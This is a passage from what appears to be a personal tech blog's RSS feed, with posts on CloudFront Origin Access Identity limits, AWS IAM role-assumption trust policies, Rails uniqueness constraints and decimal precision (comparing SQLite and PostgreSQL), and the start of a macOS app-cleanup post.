<p>An Origin Access Identity is useful because this allows S3 contents to be accessible only through CloudFront. However, it doesn&rsquo;t work well when there are multiple <code>index.html</code> templates in the bucket and we end up seeing &ldquo;Access Denied&rdquo; errors when accessing any sub-pages. This is unfortunate for those like me that use Hugo to generate static sites. Hugo creates several index.html templates when building a site.</p>
<p>The solution is to either:</p>
<ul>
<li>Use a public bucket.</li>
<li>Enable static website hosting on the bucket (which means the Distribution will have a Custom Origin).</li>
<li>Avoid using an Origin Access Identity.</li>
<li>Acknowledge that users will be able to access S3 contents directly without HTTPS.</li>
</ul>
<p>Or</p>
<ul>
<li>Use a private bucket.</li>
<li>Don&rsquo;t enable static website hosting on the bucket (the Distribution will have a S3 Origin).</li>
<li>Use an Origin Access Identity so that users cannot access S3 contents directly and can only view contents via CloudFront.</li>
<li>Avoid having multiple index.html templates in the bucket, excluding the root index.html template, which could be a hurdle.</li>
</ul>
<p>I was surprised that this isn&rsquo;t documented in Amazon&rsquo;s own troubleshooting guide. I only learned about this issue through a 

<a href="https://forums.aws.amazon.com/thread.jspa?threadID=85849" target="_blank" rel="noopener">comment on a forum</a> (which has now been archived) that reads as follows:</p>
<blockquote><p><strong>Quote:</strong></p><em>&quot;&hellip;CloudFront provides default root object support as well, but not for any subdirectories. You can solve this by using a custom origin instead. When CloudFront uses the S3 static website URL as the origin, you get the desired functionality.&quot;</em></blockquote>

<p>This seems like a limitation of CloudFront. While this issue won&rsquo;t affect me too much, there are others who would not want their buckets to be publicly accessible. For security purposes, it&rsquo;s best if users are only able to access a site through the distribution and not directly from the bucket, especially since S3 static website hosting does not support HTTPS. Hopefully AWS fixes this flaw.</p>
]]></content:encoded>
    </item>
    <item>
      <title>AWS IAM: Allowing a Role to Assume Another Role</title>
      <link>https://nelson.cloud/aws-iam-allowing-a-role-to-assume-another-role/?ref=rss</link>
      <pubDate>Sat, 19 Jun 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/aws-iam-allowing-a-role-to-assume-another-role/?ref=rss</guid>
      <description>How to allow an IAM Role to assume another Role.</description><content:encoded><![CDATA[<p>To allow an IAM Role to assume another Role, we need to modify the <strong>trust relationship</strong> of the role that is to be assumed. This process varies depending if the roles exist within the same account or if they&rsquo;re in separate accounts.</p>
<h2 id="roles-in-the-same-account">Roles in the Same Account</h2>
<p>Let&rsquo;s say we have two roles, <code>Role_A</code> and <code>Role_B</code>. If we want to allow <code>Role_A</code> to assume <code>Role_B</code>, we need to modify the <strong>trust relationship</strong> of <code>Role_B</code> with the following:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Version&#34;</span><span class="p">:</span> <span class="s2">&#34;2012-10-17&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Statement&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Allow&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Principal&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;AWS&#34;</span><span class="p">:</span> <span class="s2">&#34;arn:aws:iam::111111111111:role/Role_A&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="s2">&#34;sts:AssumeRole&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>This is all that&rsquo;s needed to allow a role to assume another role within the same account.</p>
<blockquote><p><strong>Note:</strong></p>Be mindful of the <code>Principal</code> element where we specify the role that we want to give permissions to. In general, the <code>Principal</code> element is used in policies to give users/roles/services access to other AWS resources. However, the <code>Principal</code> element cannot be used in policies attached to Roles. It can only exist in the trust relationships of roles (you&rsquo;ll get errors if you try to use the <code>Principal</code> element in an IAM Role policy). You can read more about this element in the 

<a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_principal.html" target="_blank" rel="noopener">AWS docs</a>.</blockquote>

<h2 id="roles-in-different-accounts">Roles in Different Accounts</h2>
<p>Let&rsquo;s say <code>Role_A</code> and <code>Role_B</code> are in different accounts. In this case, the process from above stays the same. <code>Role_B</code> needs to have its trust relationship modified to allow <code>Role_A</code> to assume it. The difference here is that <code>Role_A</code> will need an additional policy with <code>sts:AssumeRole</code> permissions. So the final result is as follows:</p>
<p>The <code>Role_B</code> trust relationship stays the same:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Version&#34;</span><span class="p">:</span> <span class="s2">&#34;2012-10-17&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Statement&#34;</span><span class="p">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Allow&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Principal&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;AWS&#34;</span><span class="p">:</span> <span class="s2">&#34;arn:aws:iam::111111111111:role/Role_A&#34;</span>
</span></span><span class="line"><span class="cl">      <span class="p">},</span>
</span></span><span class="line"><span class="cl">      <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="s2">&#34;sts:AssumeRole&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And <code>Role_A</code> needs the following attached as a policy:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Version&#34;</span><span class="p">:</span> <span class="s2">&#34;2012-10-17&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">  <span class="nt">&#34;Statement&#34;</span><span class="p">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;Effect&#34;</span><span class="p">:</span> <span class="s2">&#34;Allow&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;Action&#34;</span><span class="p">:</span> <span class="s2">&#34;sts:AssumeRole&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&#34;Resource&#34;</span><span class="p">:</span> <span class="s2">&#34;arn:aws:iam::222222222222:role/Role_B&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Now <code>Role_A</code> will be able to assume <code>Role_B</code> even if they&rsquo;re in different accounts.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Uniqueness Constraint Between Two Columns in Rails</title>
      <link>https://nelson.cloud/uniqueness-constraint-between-two-columns-in-rails/?ref=rss</link>
      <pubDate>Tue, 11 May 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/uniqueness-constraint-between-two-columns-in-rails/?ref=rss</guid>
      <description>Add a uniqueness constraint between two columns in Ruby on Rails.</description><content:encoded><![CDATA[<p>Ruby on Rails allows us to define uniqueness between two database table columns (i.e. two model attributes). At the time of this writing, I couldn&rsquo;t find official Rails documentation that shows how to do this in both the migration and the model, hence this post.</p>
<h2 id="defining-a-uniqueness-constraint-in-the-migration">Defining a Uniqueness Constraint in the Migration</h2>
<p>Creating a uniqueness constraint in a migration requires us to add an index on two columns/attributes. The key here is to place the attributes in an array and set them to be unique as a pair. The line in the migration looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="n">t</span><span class="o">.</span><span class="n">index</span> <span class="o">[</span><span class="ss">:attribute</span><span class="p">,</span> <span class="ss">:another_attribute</span><span class="o">]</span><span class="p">,</span> <span class="ss">unique</span><span class="p">:</span> <span class="kp">true</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Here&rsquo;s a more realistic example. Assume the following:</p>
<ul>
<li>We have an existing <code>Account</code> model</li>
<li>We want to create a new table for a <code>Statement</code> model.</li>
<li>An account can have many statements</li>
<li>A statement belongs to one account</li>
<li>We want a maximum of 1 statement per date, per account (which means we need the <code>date</code> and <code>account_id</code> attributes to be unique together)</li>
</ul>
<p>To accomplish the above, we add indexes to <code>date</code> and <code>account_id</code> and set them to be unique as a pair.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="hl"><span class="lnt"> 7
</span></span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">CreateStatements</span> <span class="o">&lt;</span> <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Migration</span><span class="o">[</span><span class="mi">6</span><span class="o">.</span><span class="mi">0</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">change</span>
</span></span><span class="line"><span class="cl">    <span class="n">create_table</span> <span class="ss">:statements</span> <span class="k">do</span> <span class="o">|</span><span class="n">t</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">t</span><span class="o">.</span><span class="n">references</span> <span class="ss">:account</span><span class="p">,</span> <span class="ss">foreign_key</span><span class="p">:</span> <span class="kp">true</span><span class="p">,</span> <span class="ss">index</span><span class="p">:</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">      <span class="n">t</span><span class="o">.</span><span class="n">date</span> <span class="ss">:date</span>
</span></span><span class="line"><span class="cl">      <span class="c1"># date and account_id are unique as a pair</span>
</span></span><span class="line hl"><span class="cl">      <span class="n">t</span><span class="o">.</span><span class="n">index</span> <span class="o">[</span><span class="ss">:date</span><span class="p">,</span> <span class="ss">:account_id</span><span class="o">]</span><span class="p">,</span> <span class="ss">unique</span><span class="p">:</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></td></tr></table>
</blockquote>
<p>Now an Account can have many Statements, but only a maximum of 1 per date. Without this constraint, an existing statement with today&rsquo;s date would prevent any other statements from being created today, even for separate accounts.</p>
<p>Uniqueness constraints can also be added after a table has been created. All we need to do is add the indexes to both attributes like before. Also, instead of using <code>t.index</code> we use <code>add_index</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">AddUniqueIndexToStatements</span> <span class="o">&lt;</span> <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Migration</span><span class="o">[</span><span class="mi">6</span><span class="o">.</span><span class="mi">1</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">change</span>
</span></span><span class="line"><span class="cl">    <span class="n">add_index</span> <span class="ss">:statements</span><span class="p">,</span> <span class="o">[</span><span class="ss">:account_id</span><span class="p">,</span> <span class="ss">:date</span><span class="o">]</span><span class="p">,</span> <span class="ss">unique</span><span class="p">:</span> <span class="kp">true</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="model-validation">Model Validation</h2>
<p>Now that the constraint is set in the database, we can also add it in the model. To do that, we add a uniqueness validation of an attribute and scope it to another attribute. For example, in the Statement model previously mentioned it looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="n">validates</span> <span class="ss">:date</span><span class="p">,</span> <span class="ss">uniqueness</span><span class="p">:</span> <span class="p">{</span> <span class="ss">scope</span><span class="p">:</span> <span class="ss">:account_id</span><span class="p">,</span> <span class="ss">message</span><span class="p">:</span> <span class="s2">&#34;Statement already exists for this date.&#34;</span> <span class="p">}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>And that&rsquo;s it! The model&rsquo;s attributes are now unique as a pair and validated at both the database layer and model layer.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Handling Decimal Precision in Rails</title>
      <link>https://nelson.cloud/handling-decimal-precision-in-rails/?ref=rss</link>
      <pubDate>Mon, 22 Mar 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/handling-decimal-precision-in-rails/?ref=rss</guid>
      <description>Configure Rails decimal columns with precision and scale to prevent rounding errors.</description><content:encoded><![CDATA[<p>Ruby on Rails allows us to specify how precise we want decimals to be by defining precision and scale in database migrations. Rails also provides a way of adding front-end validation to forms that accept decimal values. I&rsquo;ll be using an <code>expense</code> model that lets a user track expense amounts as an example. I&rsquo;ll also point out differences between SQLite and PostgreSQL in regards to saving decimals beyond constraints.</p>
<h2 id="migration">Migration</h2>
<p>The migration for an expense model that has a decimal field looks like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">CreateExpenses</span> <span class="o">&lt;</span> <span class="no">ActiveRecord</span><span class="o">::</span><span class="no">Migration</span><span class="o">[</span><span class="mi">6</span><span class="o">.</span><span class="mi">0</span><span class="o">]</span>
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">change</span>
</span></span><span class="line"><span class="cl">    <span class="n">create_table</span> <span class="ss">:expenses</span> <span class="k">do</span> <span class="o">|</span><span class="n">t</span><span class="o">|</span>
</span></span><span class="line"><span class="cl">      <span class="n">t</span><span class="o">.</span><span class="n">decimal</span> <span class="ss">:amount</span><span class="p">,</span> <span class="ss">precision</span><span class="p">:</span> <span class="mi">5</span><span class="p">,</span> <span class="ss">scale</span><span class="p">:</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">      <span class="n">t</span><span class="o">.</span><span class="n">timestamps</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Notice that we&rsquo;re specifying <code>precision</code> and <code>scale</code> in the decimal column:</p>
<ul>
<li>Precision is the total number of digits in the number, both before and after the decimal point.</li>
<li>Scale is the number of digits after the decimal.</li>
</ul>
<p>So this field will take a decimal value up to 999.99.</p>
<h2 id="model">Model</h2>
<p>For the expense model, we want to add validations so that the amount is positive and is less than 1000. This is based on the precision and scale we defined in the migration. We can also add validation to take into account decimal places by using a regular expression that allows values up to 999.99.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Expense</span> <span class="o">&lt;</span> <span class="no">ApplicationRecord</span>
</span></span><span class="line"><span class="cl">  <span class="n">validates</span> <span class="ss">:amount</span><span class="p">,</span> <span class="ss">numericality</span><span class="p">:</span> <span class="p">{</span> <span class="ss">greater_than_or_equal_to</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span> <span class="ss">less_than</span><span class="p">:</span> <span class="no">BigDecimal</span><span class="p">(</span><span class="mi">10</span><span class="o">**</span><span class="mi">3</span><span class="p">)</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">                     <span class="nb">format</span><span class="p">:</span> <span class="p">{</span> <span class="ss">with</span><span class="p">:</span> <span class="sr">/\A\d{1,3}(\.\d{1,2})?\z/</span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="controller">Controller</h2>
<p>For the expense model, we have a standard controller. We don&rsquo;t need to do anything here in regards to decimal precision. I&rsquo;m showing this for completeness of the example.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">ExpensesController</span> <span class="o">&lt;</span> <span class="no">ApplicationController</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">index</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@expenses</span> <span class="o">=</span> <span class="vi">@user</span><span class="o">.</span><span class="n">expenses</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">new</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@expense</span> <span class="o">=</span> <span class="no">Expense</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">create</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@expense</span> <span class="o">=</span> <span class="no">Expense</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">expense_params</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="vi">@expense</span><span class="o">.</span><span class="n">save</span>
</span></span><span class="line"><span class="cl">      <span class="n">flash</span><span class="o">[</span><span class="ss">:notice</span><span class="o">]</span> <span class="o">=</span> <span class="s1">&#39;Expense created&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="n">redirect_to</span><span class="p">(</span><span class="n">expenses_path</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="n">flash</span><span class="o">[</span><span class="ss">:alert</span><span class="o">]</span> <span class="o">=</span> <span class="vi">@expense</span><span class="o">.</span><span class="n">errors</span><span class="o">.</span><span class="n">full_messages</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="s1">&#39;, &#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="n">render</span><span class="p">(</span><span class="s1">&#39;new&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="erb-form">ERB Form</h2>
<p>In the form, we need to use <code>step</code> to add front-end validation and to be able to accept decimal values in the field.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-rb" data-lang="rb"><span class="line"><span class="cl"><span class="o">&lt;</span><span class="s">%= form_with model: @expense, url: {controller: &#39;expenses&#39;, action: &#39;create&#39;} do |f| %&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%=</span> <span class="n">f</span><span class="o">.</span><span class="n">label</span> <span class="ss">:amount</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">  &lt;%= f.number_field :amount, step: 0.01, class: &#39;input&#39; %&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="o">&lt;%=</span> <span class="n">f</span><span class="o">.</span><span class="n">submit</span> <span class="s2">&#34;Add&#34;</span><span class="p">,</span> <span class="ss">class</span><span class="p">:</span> <span class="s1">&#39;button is-primary&#39;</span> <span class="s">%&gt;
</span></span></span><span class="line"><span class="cl"><span class="s">&lt;% end %&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>In this form, <code>step: 0.01</code> is the same as specifying a scale of 2 in the database. Decimal values will only be accepted if they have two decimal places and are in increments of 0.01. (If we had specified <code>step: 0.05</code>, then values accepted would have to be in increments of 0.05, such as 1, 1.05, and 1.10). Without <code>step</code>, the form would only take whole numbers without decimals.</p>
<p>Thanks to our model validation, a user won&rsquo;t be able to submit values like <code>555.555</code> even if they were clever enough to skip front-end validation.</p>
<h2 id="sqlite-vs-postgresql-validation">SQLite vs PostgreSQL Validation</h2>
<p>Let&rsquo;s say we didn&rsquo;t have any front-end or model validations. How would the database handle decimal inputs that exceed both precision and scale? We can do some experiments in the Rails console.</p>
<h3 id="exceeding-scale-constraints">Exceeding Scale Constraints</h3>
<p>First, we&rsquo;ll try the value <code>555.555</code>, which exceeds the scale of 2.</p>
<p><strong>Rails console with SQLite:</strong></p>
<pre tabindex="0"><code>$ rails c

e = Expense.new(amount: 555.555)
 =&gt; #&lt;Expense id: nil, amount: 0.55556e3, created_at: nil, updated_at: nil&gt;

e.save!
  TRANSACTION (0.0ms)  begin transaction
  Expense Create (0.6ms)  INSERT INTO &#34;expenses&#34; (&#34;amount&#34;, &#34;created_at&#34;, &#34;updated_at&#34;) VALUES (?, ?, ?)  [[&#34;amount&#34;, 555.56], [&#34;created_at&#34;, &#34;2021-03-22 09:49:35.881478&#34;], [&#34;updated_at&#34;, &#34;2021-03-22 09:49:35.881478&#34;]]
  TRANSACTION (1.1ms)  commit transaction
 =&gt; true

e.amount
 =&gt; 0.55556e3
</code></pre><p>After saving a new expense with the amount <code>555.555</code>, the resulting amount is <code>0.55556e3</code>, or <code>555.56</code>. The database rounded our input since it was set to a scale of 2 in the migration.</p>
<p><strong>Rails console with PostgreSQL:</strong></p>
<pre tabindex="0"><code>$ rails c

e = Expense.new(amount: 555.555)
 =&gt; #&lt;Expense id: nil, amount: 0.55556e3, created_at: nil, updated_at: nil&gt;

e.save!
  D, [2021-03-23T01:47:26.928433 #1] DEBUG -- :   TRANSACTION (0.4ms)  BEGIN
  D, [2021-03-23T01:47:26.929505 #1] DEBUG -- :   Expense Create (0.7ms)  INSERT INTO &#34;expenses&#34; (&#34;amount&#34;, &#34;created_at&#34;, &#34;updated_at&#34;) VALUES ($1, $2, $3) RETURNING &#34;id&#34;  [ [&#34;amount&#34;, &#34;555.56&#34;], [&#34;created_at&#34;, &#34;2021-03-23 01:47:26.927355&#34;], [&#34;updated_at&#34;, &#34;2021-03-23 01:47:26.927355&#34;]]
  D, [2021-03-23T01:47:26.931487 #1] DEBUG -- :   TRANSACTION (1.6ms)  COMMIT
 =&gt; true

e.amount
 =&gt; 0.55556e3
</code></pre><p>PostgreSQL behaves the same way and rounds to two decimal places if the scale is exceeded.</p>
<h3 id="exceeding-precision-constraints">Exceeding Precision Constraints</h3>
<p>Next we&rsquo;ll try the value <code>123456.01</code>, which exceeds the precision of 5.</p>
<p><strong>Rails console with SQLite:</strong></p>
<pre tabindex="0"><code>$ rails c

e = Expense.new(amount: 123456.01)
 =&gt; #&lt;Expense id: nil, amount: 0.12346e6, created_at: nil, updated_at: nil&gt;

e.save!
  TRANSACTION (0.1ms)  begin transaction
  Expense Create (0.8ms)  INSERT INTO &#34;expenses&#34; (&#34;amount&#34;, &#34;created_at&#34;, &#34;updated_at&#34;) VALUES (?, ?, ?)  [[&#34;amount&#34;, 123460.0], [&#34;created_at&#34;, &#34;2021-03-23 02:10:09.951895&#34;], [&#34;updated_at&#34;, &#34;2021-03-23 02:10:09.951895&#34;]]
  TRANSACTION (0.5ms)  commit transaction
 =&gt; true

e.amount
 =&gt; 0.12346e6
</code></pre><p>Interestingly, SQLite saves the value <code>123456.01</code> incorrectly as <code>123460.0</code> with no errors whatsoever. This is undesired behavior because it defeats the point of defining a precision in the first place.</p>
<p><strong>Rails console with PostgreSQL:</strong></p>
<pre tabindex="0"><code>$ rails c

e = Expense.new(amount: 123456.01)
 =&gt; #&lt;Expense id: nil, amount: 0.12346e6, created_at: nil, updated_at: nil&gt;

e.save!
  D, [2021-03-23T01:54:25.490193 #1] DEBUG -- :   TRANSACTION (0.5ms)  BEGIN
  D, [2021-03-23T01:54:25.491212 #1] DEBUG -- :   Expense Create (0.7ms)  INSERT INTO &#34;expenses&#34; (&#34;amount&#34;, &#34;created_at&#34;, &#34;updated_at&#34;) VALUES ($1, $2, $3) RETURNING &#34;id&#34;  [[&#34;amount&#34;, &#34;123460.0&#34;], [&#34;created_at&#34;, &#34;2021-03-23 01:54:25.489022&#34;], [&#34;updated_at&#34;, &#34;2021-03-23 01:54:25.489022&#34;]]
  D, [2021-03-23T01:54:25.491842 #1] DEBUG -- :   TRANSACTION (0.4ms)  ROLLBACK
  Traceback (most recent call last):
          1: from (irb):17:in `&lt;main&gt;&#39;
  ActiveRecord::RangeError (PG::NumericValueOutOfRange: ERROR:  numeric field overflow)
  DETAIL:  A field with precision 5, scale 2 must round to an absolute value less than 10^3.
</code></pre><p>PostgreSQL rejects the value and shows us an error telling us that the number does not fit in with the precision and scale constraints. This is preferable to storing an incorrect value.</p>
<p>While Rails offers several ways of validating decimals, it&rsquo;s still important to choose the correct database to handle decimals.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cleaning Up Residual Files on macOS After Deleting Apps</title>
      <link>https://nelson.cloud/cleaning-up-residual-files-on-macos-after-deleting-apps/?ref=rss</link>
      <pubDate>Sun, 28 Feb 2021 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/cleaning-up-residual-files-on-macos-after-deleting-apps/?ref=rss</guid>
      <description>Clean up residual files and directories after deleting macOS apps.</description><content:encoded><![CDATA[<p>After deleting apps on macOS, they tend leave behind residual files and directories throughout the system. You can use the <code>find</code> command to find these files after an app has been deleted. I&rsquo;ll be deleting the LastPass app and removing its residual files as an example.</p>
<blockquote><p><strong>2024-10-13 Update:</strong></p><p>I recently discovered 

<a href="https://github.com/alienator88/Pearcleaner" target="_blank" rel="noopener">Pearcleaner</a>. You can use this app to delete other apps along with all the extra files and folders they create. I recommend you use this first and then continue reading this post if you want to look more deeply.</p>
<p>You can download Pearcleaner from the link above or install it with 

<a href="https://formulae.brew.sh/cask/pearcleaner" target="_blank" rel="noopener">Homebrew</a>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
